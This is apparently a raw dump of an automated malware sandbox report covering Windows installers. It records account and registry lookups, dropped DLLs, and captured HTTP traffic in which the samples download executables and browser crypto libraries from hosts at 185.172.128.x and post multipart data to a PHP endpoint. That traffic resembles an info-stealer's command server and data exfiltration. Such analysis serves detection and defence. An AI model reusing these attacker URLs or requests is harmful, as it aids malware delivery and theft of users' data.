/3886d2276f6914c4.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HDAKJDHIEBFIIDGDGDBAHost: 185.172.128.79Content-Length: 1399Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "HDAKJDHIEBFIIDGDGDBAHost" in header "POST /3886d2276f6914c4.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HDAKJDHIEBFIIDGDGDBAHost: 185.172.128.79Content-Length: 1399Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "Keep" in header "POST /3886d2276f6914c4.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HDAKJDHIEBFIIDGDGDBAHost: 185.172.128.79Content-Length: 1399Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "POST" in header "POST /3886d2276f6914c4.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BFHJJJDAFBKEBGDGHCGDHost: 185.172.128.79Content-Length: 3259Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "1Content" in header "POST /3886d2276f6914c4.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BFHJJJDAFBKEBGDGHCGDHost: 185.172.128.79Content-Length: 3259Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "Type" in header "POST /3886d2276f6914c4.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BFHJJJDAFBKEBGDGHCGDHost: 185.172.128.79Content-Length: 3259Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "data" in header "POST /3886d2276f6914c4.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BFHJJJDAFBKEBGDGHCGDHost: 185.172.128.79Content-Length: 3259Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "BFHJJJDAFBKEBGDGHCGDHost" in header "POST /3886d2276f6914c4.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BFHJJJDAFBKEBGDGHCGDHost: 185.172.128.79Content-Length: 3259Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "Keep" in header "POST /3886d2276f6914c4.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BFHJJJDAFBKEBGDGHCGDHost: 185.172.128.79Content-Length: 3259Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "POST" in header "POST /3886d2276f6914c4.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IDGIJEGHDAECAKECAFCAHost: 185.172.128.79Content-Length: 267Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "1Content" in header "POST /3886d2276f6914c4.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IDGIJEGHDAECAKECAFCAHost: 185.172.128.79Content-Length: 267Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "Type" in header "POST /3886d2276f6914c4.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IDGIJEGHDAECAKECAFCAHost: 185.172.128.79Content-Length: 267Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "data" in header "POST /3886d2276f6914c4.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IDGIJEGHDAECAKECAFCAHost: 185.172.128.79Content-Length: 267Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "IDGIJEGHDAECAKECAFCAHost" in header "POST /3886d2276f6914c4.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IDGIJEGHDAECAKECAFCAHost: 185.172.128.79Content-Length: 267Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "Keep" in header "POST /3886d2276f6914c4.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IDGIJEGHDAECAKECAFCAHost: 185.172.128.79Content-Length: 267Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "POST" in header "POST /3886d2276f6914c4.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JEBKECAFIDAFIECBKEHDHost: 185.172.128.79Content-Length: 265Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "1Content" in header "POST /3886d2276f6914c4.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JEBKECAFIDAFIECBKEHDHost: 185.172.128.79Content-Length: 265Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "Type" in header "POST /3886d2276f6914c4.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JEBKECAFIDAFIECBKEHDHost: 185.172.128.79Content-Length: 265Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "data" in header "POST /3886d2276f6914c4.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JEBKECAFIDAFIECBKEHDHost: 185.172.128.79Content-Length: 265Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "JEBKECAFIDAFIECBKEHDHost" in header "POST /3886d2276f6914c4.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JEBKECAFIDAFIECBKEHDHost: 185.172.128.79Content-Length: 265Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "Keep" in header "POST /3886d2276f6914c4.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JEBKECAFIDAFIECBKEHDHost: 185.172.128.79Content-Length: 265Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "POST" in header "POST /3886d2276f6914c4.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DHDAKFCGIJKJKFHIDHIIHost: 185.172.128.79Content-Length: 13531Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "1Content" in header "POST /3886d2276f6914c4.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DHDAKFCGIJKJKFHIDHIIHost: 185.172.128.79Content-Length: 13531Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "Type" in header "POST /3886d2276f6914c4.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DHDAKFCGIJKJKFHIDHIIHost: 185.172.128.79Content-Length: 13531Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "data" in header "POST /3886d2276f6914c4.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DHDAKFCGIJKJKFHIDHIIHost: 185.172.128.79Content-Length: 13531Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "DHDAKFCGIJKJKFHIDHIIHost" in header "POST /3886d2276f6914c4.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DHDAKFCGIJKJKFHIDHIIHost: 185.172.128.79Content-Length: 13531Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "Keep" in header "POST /3886d2276f6914c4.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DHDAKFCGIJKJKFHIDHIIHost: 185.172.128.79Content-Length: 13531Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "POST" in header "POST /3886d2276f6914c4.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JDGIIDHJEBGIDHJJDBKEHost: 185.172.128.79Content-Length: 791Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "1Content" in header "POST /3886d2276f6914c4.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JDGIIDHJEBGIDHJJDBKEHost: 185.172.128.79Content-Length: 791Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "Type" in header "POST /3886d2276f6914c4.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JDGIIDHJEBGIDHJJDBKEHost: 185.172.128.79Content-Length: 791Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "data" in header "POST /3886d2276f6914c4.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JDGIIDHJEBGIDHJJDBKEHost: 185.172.128.79Content-Length: 791Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "JDGIIDHJEBGIDHJJDBKEHost" in header "POST /3886d2276f6914c4.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JDGIIDHJEBGIDHJJDBKEHost: 185.172.128.79Content-Length: 791Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "Keep" in header "POST /3886d2276f6914c4.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JDGIIDHJEBGIDHJJDBKEHost: 185.172.128.79Content-Length: 791Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "POST" in header "POST /3886d2276f6914c4.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HCGDGIDGIJKKEBGDAECAHost: 185.172.128.79Content-Length: 91343Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "1Content" in header "POST /3886d2276f6914c4.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HCGDGIDGIJKKEBGDAECAHost: 185.172.128.79Content-Length: 91343Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "Type" in header "POST /3886d2276f6914c4.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HCGDGIDGIJKKEBGDAECAHost: 185.172.128.79Content-Length: 91343Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "data" in header "POST /3886d2276f6914c4.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HCGDGIDGIJKKEBGDAECAHost: 185.172.128.79Content-Length: 91343Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "HCGDGIDGIJKKEBGDAECAHost" in header "POST /3886d2276f6914c4.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HCGDGIDGIJKKEBGDAECAHost: 185.172.128.79Content-Length: 91343Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "Keep" in header "POST /3886d2276f6914c4.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HCGDGIDGIJKKEBGDAECAHost: 185.172.128.79Content-Length: 91343Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "POST" in header "POST /3886d2276f6914c4.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CFHDBFIEGIDGIECBKJECHost: 185.172.128.79Content-Length: 264Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "1Content" in header "POST /3886d2276f6914c4.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CFHDBFIEGIDGIECBKJECHost: 185.172.128.79Content-Length: 264Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "Type" in header "POST /3886d2276f6914c4.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CFHDBFIEGIDGIECBKJECHost: 185.172.128.79Content-Length: 264Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "data" in header "POST /3886d2276f6914c4.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CFHDBFIEGIDGIECBKJECHost: 185.172.128.79Content-Length: 264Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "CFHDBFIEGIDGIECBKJECHost" in header "POST /3886d2276f6914c4.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CFHDBFIEGIDGIECBKJECHost: 185.172.128.79Content-Length: 264Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "Keep" in header "POST /3886d2276f6914c4.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CFHDBFIEGIDGIECBKJECHost: 185.172.128.79Content-Length: 264Connection: Keep-AliveCache-Control: no-cache"8b:T507,"InstallSetup9.exe" called "LookupAccountSidW" with param Name %OSUSER% (UID: 00000000-00002956) "288c47bbc1871b439df19ff4df68f076.exe" called "LookupAccountSidW" with param Name SYSTEM (UID: 00000000-00003428) "288c47bbc1871b439df19ff4df68f076.exe" called "LookupAccountSidW" with param Name NETWORK SERVICE (UID: 00000000-00003428) "288c47bbc1871b439df19ff4df68f076.exe" called "LookupAccountSidW" with param Name %OSUSER% (UID: 00000000-00003428) "288c47bbc1871b439df19ff4df68f076.exe" called "LookupAccountSidA" with param Name SYSTEM (UID: 00000000-00003428) "BroomSetup.exe" called "LookupAccountSidW" with param Name SYSTEM (UID: 00000000-00000564) "BroomSetup.exe" called "LookupAccountSidW" with param Name NETWORK SERVICE (UID: 00000000-00000564) "288c47bbc1871b439df19ff4df68f076.exe" called "LookupAccountSidW" with param Name SYSTEM (UID: 00000000-00003440) "288c47bbc1871b439df19ff4df68f076.exe" called "LookupAccountSidW" with param Name NETWORK SERVICE (UID: 00000000-00003440) "nsbEF5F.tmp" called "LookupAccountSidW" with param Name %OSUSER% (UID: 00000000-00001592) "schtasks.exe" called "LookupAccountSidW" with param Name %OSUSER% (UID: 00000000-00002112) "aviformattertool.exe" called "LookupAccountSidW" with param Name %OSUSER% (UID: 00000000-00002676)8c:T11b4,"InstallSetup9.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{07B41F79-1AEC-4782-A6E8-8C28FFBA35ED}"; Key: "ENABLEDHCP"; Value: "") "InstallSetup9.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{07B41F79-1AEC-4782-A6E8-8C28FFBA35ED}"; Key: "REGISTRATIONENABLED"; Value: "") "InstallSetup9.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{07B41F79-1AEC-4782-A6E8-8C28FFBA35ED}"; Key: "REGISTERADAPTERNAME"; Value: "") "InstallSetup9.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{07B41F79-1AEC-4782-A6E8-8C28FFBA35ED}"; Key: "DOMAIN"; Value: "") "InstallSetup9.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{07B41F79-1AEC-4782-A6E8-8C28FFBA35ED}"; Key: "DHCPDOMAIN"; Value: "") "InstallSetup9.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E29AC6C2-7037-11DE-816D-806E6F6E6963}"; Key: "ENABLEDHCP"; Value: "") "InstallSetup9.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E29AC6C2-7037-11DE-816D-806E6F6E6963}"; Key: "REGISTRATIONENABLED"; Value: "") "InstallSetup9.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E29AC6C2-7037-11DE-816D-806E6F6E6963}"; Key: "REGISTERADAPTERNAME"; Value: "") "InstallSetup9.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E29AC6C2-7037-11DE-816D-806E6F6E6963}"; Key: "DOMAIN"; Value: "") "InstallSetup9.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E29AC6C2-7037-11DE-816D-806E6F6E6963}"; Key: "DHCPDOMAIN"; Value: "") "nsbEF5F.tmp" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{07B41F79-1AEC-4782-A6E8-8C28FFBA35ED}"; Key: "ENABLEDHCP"; Value: "") "nsbEF5F.tmp" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{07B41F79-1AEC-4782-A6E8-8C28FFBA35ED}"; Key: "REGISTRATIONENABLED"; Value: "") "nsbEF5F.tmp" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{07B41F79-1AEC-4782-A6E8-8C28FFBA35ED}"; Key: "REGISTERADAPTERNAME"; Value: "") "nsbEF5F.tmp" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{07B41F79-1AEC-4782-A6E8-8C28FFBA35ED}"; Key: "DOMAIN"; Value: "") "nsbEF5F.tmp" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{07B41F79-1AEC-4782-A6E8-8C28FFBA35ED}"; Key: "DHCPDOMAIN"; Value: "") "nsbEF5F.tmp" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E29AC6C2-7037-11DE-816D-806E6F6E6963}"; Key: "ENABLEDHCP"; Value: "") "nsbEF5F.tmp" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E29AC6C2-7037-11DE-816D-806E6F6E6963}"; Key: "REGISTRATIONENABLED"; Value: "") "nsbEF5F.tmp" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E29AC6C2-7037-11DE-816D-806E6F6E6963}"; Key: "REGISTERADAPTERNAME"; Value: "") "nsbEF5F.tmp" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E29AC6C2-7037-11DE-816D-806E6F6E6963}"; Key: "DOMAIN"; Value: "") "nsbEF5F.tmp" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E29AC6C2-7037-11DE-816D-806E6F6E6963}"; Key: "DHCPDOMAIN"; Value: "") "aviformattertool.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{07B41F79-1AEC-4782-A6E8-8C28FFBA35ED}"; Key: "ENABLEDHCP"; Value: "") "aviformattertool.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{07B41F79-1AEC-4782-A6E8-8C28FFBA35ED}"; Key: "REGISTRATIONENABLED"; Value: "") "aviformattertool.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{07B41F79-1AEC-4782-A6E8-8C28FFBA35ED}"; Key: "REGISTERADAPTERNAME"; Value: "") "aviformattertool.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{07B41F79-1AEC-4782-A6E8-8C28FFBA35ED}"; Key: "DOMAIN"; Value: "")8d:T8c8,"nsbEF5F.tmp" queries volume information of "C:\" at 00000000-00001592-0000010C-11978492 "nsbEF5F.tmp" queries volume information of "C:\" at 00000000-00001592-0000010C-15912462 "nsbEF5F.tmp" queries volume information of "C:\" at 00000000-00001592-0000010C-34152529 "nsbEF5F.tmp" queries volume information of "C:\" at 00000000-00001592-0000010C-34886967 "nsbEF5F.tmp" queries volume information of "C:\" at 00000000-00001592-0000010C-38101379 "nsbEF5F.tmp" queries volume information of "C:\" at 00000000-00001592-0000010C-38169035 "nsbEF5F.tmp" queries volume information of "C:\" at 00000000-00001592-0000010C-38211007 "nsbEF5F.tmp" queries volume information of "C:\" at 00000000-00001592-0000010C-38571821 "nsbEF5F.tmp" queries volume information of "C:\" at 00000000-00001592-0000010C-38687581 "nsbEF5F.tmp" queries volume information of "C:\" at 00000000-00001592-0000010C-41868974 "nsbEF5F.tmp" queries volume information of "C:\" at 00000000-00001592-0000010C-41940906 "nsbEF5F.tmp" queries volume information of "C:\" at 00000000-00001592-0000010C-41978626 "nsbEF5F.tmp" queries volume information of "C:\" at 00000000-00001592-0000010C-42152640 "nsbEF5F.tmp" queries volume information of "C:\" at 00000000-00001592-0000010C-42226198 "nsbEF5F.tmp" queries volume information of "C:\" at 00000000-00001592-0000010C-45403325 "nsbEF5F.tmp" queries volume information of "C:\" at 00000000-00001592-0000010C-45460595 "nsbEF5F.tmp" queries volume information of "C:\" at 00000000-00001592-0000010C-45499441 "nsbEF5F.tmp" queries volume information of "C:\" at 00000000-00001592-0000010C-45670474 "nsbEF5F.tmp" queries volume information of "C:\" at 00000000-00001592-0000010C-45749252 "nsbEF5F.tmp" queries volume information of "C:\" at 00000000-00001592-0000010C-48982670 "nsbEF5F.tmp" queries volume information of "C:\" at 00000000-00001592-0000010C-49039261 "nsbEF5F.tmp" queries volume information of "C:\" at 00000000-00001592-0000010C-49077123 "nsbEF5F.tmp" queries volume information of "C:\" at 00000000-00001592-0000010C-49366519 "nsbEF5F.tmp" queries volume information of "C:\" at 00000000-00001592-0000010C-49448690 "nsbEF5F.tmp" queries volume information of "C:\" at 00000000-00001592-0000010C-526023648e:T8bc,Antivirus vendors marked dropped file "nss3_1_.dll" as clean (type is "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows"), Antivirus vendors marked dropped file "freebl3.dll" as clean (type is "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows"), Antivirus vendors marked dropped file "mozglue.dll" as clean (type is "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows"), Antivirus vendors marked dropped file "msvcp140_1_.dll" as clean (type is "PE32 executable (DLL) (console) Intel 80386 for MS Windows"), Antivirus vendors marked dropped file "softokn3.dll" as clean (type is "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows"), Antivirus vendors marked dropped file "vcruntime140.dll" as clean (type is "PE32 executable (DLL) (console) Intel 80386 for MS Windows"), Antivirus vendors marked dropped file "INetC.dll" as clean (type is "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows"), Antivirus vendors marked dropped file "_iscrypt.dll" as clean (type is "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows"), Antivirus vendors marked dropped file "is-IJHAA.tmp" as clean (type is "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows"), Antivirus vendors marked dropped file "is-1C93T.tmp" as clean (type is "PE32 executable (GUI) Intel 80386 for MS Windows"), Antivirus vendors marked dropped file "CHCP.COM.65A50F00.bin" as clean (type is "PE32 executable (console) Intel 80386 for MS Windows"), Antivirus vendors marked dropped file "nss3.dll" as clean (type is "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows"), Antivirus vendors marked dropped file "freebl3_1_.dll" as clean (type is "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows"), Antivirus vendors marked dropped file "mozglue_1_.dll" as clean (type is "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows"), Antivirus vendors marked dropped file "msvcp140.dll" as clean (type is "PE32 executable (DLL) (console) Intel 80386 for MS Windows"), Antivirus vendors marked dropped file "softokn3_1_.dll" as clean (type is "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows"), Antivirus vendors marked dropped file "vcruntime140_1_.dll" as clean (type is "PE32 executable (DLL) (console) Intel 80386 for MS Windows")8f:T2ed3,"GET /cpa/ping.php?substr=nine&s=ab HTTP/1.1 User-Agent: NSIS_Inetc (Mozilla) Host: 185.172.128.90 Connection: Keep-Alive Cache-Control: no-cache" Response ==> HTTP/1.1 200 OK Date: Mon 15 Jan 2024 10:24:05 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5 max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 with response body ==>30....... "GET /syncUpd.exe HTTP/1.1 User-Agent: NSIS_Inetc (Mozilla) Host: 185.172.128.53 Connection: Keep-Alive Cache-Control: no-cache" Response ==> HTTP/1.1 200 OK Date: Mon 15 Jan 2024 10:24:07 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon 15 Jan 2024 10:15:01 GMT ETag: "40000-60ef9496e3d2d" Accept-Ranges: bytes Content-Length: 262144 Keep-Alive: timeout=5 max=100 Connection: Keep-Alive Content-Type: application/x-msdos-program with response body ==>4D5A90000300000004000000FFFF0000B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000F0000000....... "GET /f059ec3d7eb90876/sqlite3.dll HTTP/1.1 Host: 185.172.128.79 Cache-Control: no-cache" Response ==> HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon 15 Jan 2024 10:24:25 GMT Content-Type: application/x-msdos-program Content-Length: 1106998 Connection: keep-alive Last-Modified: Mon 05 Sep 2022 11:30:30 GMT ETag: "10e436-5e7ec6832a180" Accept-Ranges: bytes with response body ==>4D5A90000300000004000000FFFF0000B80000000000000040000000000000000000000000000000000000000000000000000000000000000000000080000000....... "GET /f059ec3d7eb90876/freebl3.dll HTTP/1.1 Host: 185.172.128.79 Cache-Control: no-cache" Response ==> HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon 15 Jan 2024 10:24:28 GMT Content-Type: application/x-msdos-program Content-Length: 685392 Connection: keep-alive Last-Modified: Mon 05 Sep 2022 07:49:08 GMT ETag: "a7550-5e7e950876500" Accept-Ranges: bytes with response body ==>4D5A7800010000000400000000000000000000000000000040000000000000000000000000000000000000000000000000000000000000000000000078000000....... "GET /f059ec3d7eb90876/mozglue.dll HTTP/1.1 Host: 185.172.128.79 Cache-Control: no-cache" Response ==> HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon 15 Jan 2024 10:24:30 GMT Content-Type: application/x-msdos-program Content-Length: 608080 Connection: keep-alive Last-Modified: Mon 05 Sep 2022 07:49:08 GMT ETag: "94750-5e7e950876500" Accept-Ranges: bytes with response body ==>4D5A7800010000000400000000000000000000000000000040000000000000000000000000000000000000000000000000000000000000000000000078000000....... "GET /f059ec3d7eb90876/msvcp140.dll HTTP/1.1 Host: 185.172.128.79 Cache-Control: no-cache" Response ==> HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon 15 Jan 2024 10:24:32 GMT Content-Type: application/x-msdos-program Content-Length: 450024 Connection: keep-alive Last-Modified: Mon 05 Sep 2022 07:49:08 GMT ETag: "6dde8-5e7e950876500" Accept-Ranges: bytes with response body ==>4D5A90000300000004000000FFFF0000B80000000000000040000000000000000000000000000000000000000000000000000000000000000000000000010000....... "GET /search/?q=67e28dd83e0bf37a405fff1d7c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa1de8889b5e4fa9281ae978a071ea771795af8e05c647db22f31df92d8b38e316a667d307eca743ed4c2b07b52966923b628dfd13c1eb96 HTTP/1.1 Host: ezjeuqf.ua User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)" Response ==> HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Mon 15 Jan 2024 10:24:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 with response body ==>6461610D0A3637623638613861333230336137376230343138663535663637376438646334356166663838643265323137303165396132356366633532393162....... "GET /f059ec3d7eb90876/nss3.dll HTTP/1.1 Host: 185.172.128.79 Cache-Control: no-cache" Response ==> HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon 15 Jan 2024 10:24:33 GMT Content-Type: application/x-msdos-program Content-Length: 2046288 Connection: keep-alive Last-Modified: Mon 05 Sep 2022 07:49:08 GMT ETag: "1f3950-5e7e950876500" Accept-Ranges: bytes with response body ==>4D5A7800010000000400000000000000000000000000000040000000000000000000000000000000000000000000000000000000000000000000000078000000....... "GET /search/?q=67e28dd83e0bf37a405fff1d7c27d78406abdd88be4b12eab517aa5c96bd86e89d804e895a8bbc896c58e713bc90c94836b5281fc235a925ed3e03d6bd974a95129070b614e96cc92be20ea778c255bbe258b90d3b4eec3233d1626a8ff811c5ec97983ac96c HTTP/1.1 Host: ezjeuqf.ua User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)" Response ==> HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Mon 15 Jan 2024 10:24:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 with response body ==>650D0A36376236383038313330303863320D0A300D0A0D0A....... "GET /search/?q=67e28dd83e0bf37a405fff1d7c27d78406abdd88be4b12eab517aa5c96bd86e89d804e895a8bbc896c58e713bc90c94836b5281fc235a925ed3e03d6bd974a95129070b614e96cc92be20ea778c255bbe258b90d3b4eec3233d1626a8ff811c5ec97983ac96c HTTP/1.1 Host: ezjeuqf.ua User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)" Response ==> HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Mon 15 Jan 2024 10:24:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 with response body ==>6431630D0A3637623639633935333830346232366235363566653935623332316264313961353566663864633966353165313765616264353665623033636166....... "GET /search/?q=67e28dd83e0bf37a405fff1d7c27d78406abdd88be4b12eab517aa5c96bd86e89d804e895a8bbc896c58e713bc90c94836b5281fc235a925ed3e03d6bd974a95129070b614e96cc92be20ea778c255bbe258b90d3b4eec3233d1626a8ff811c5ec97983ac96c HTTP/1.1 Host: ezjeuqf.ua User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)" Response ==> HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Mon 15 Jan 2024 10:24:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 with response body ==>650D0A36376236383038313330303863320D0A300D0A0D0A....... "GET /f059ec3d7eb90876/softokn3.dll HTTP/1.1 Host: 185.172.128.79 Cache-Control: no-cache" Response ==> HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon 15 Jan 2024 10:24:36 GMT Content-Type: application/x-msdos-program Content-Length: 257872 Connection: keep-alive Last-Modified: Mon 05 Sep 2022 07:49:08 GMT ETag: 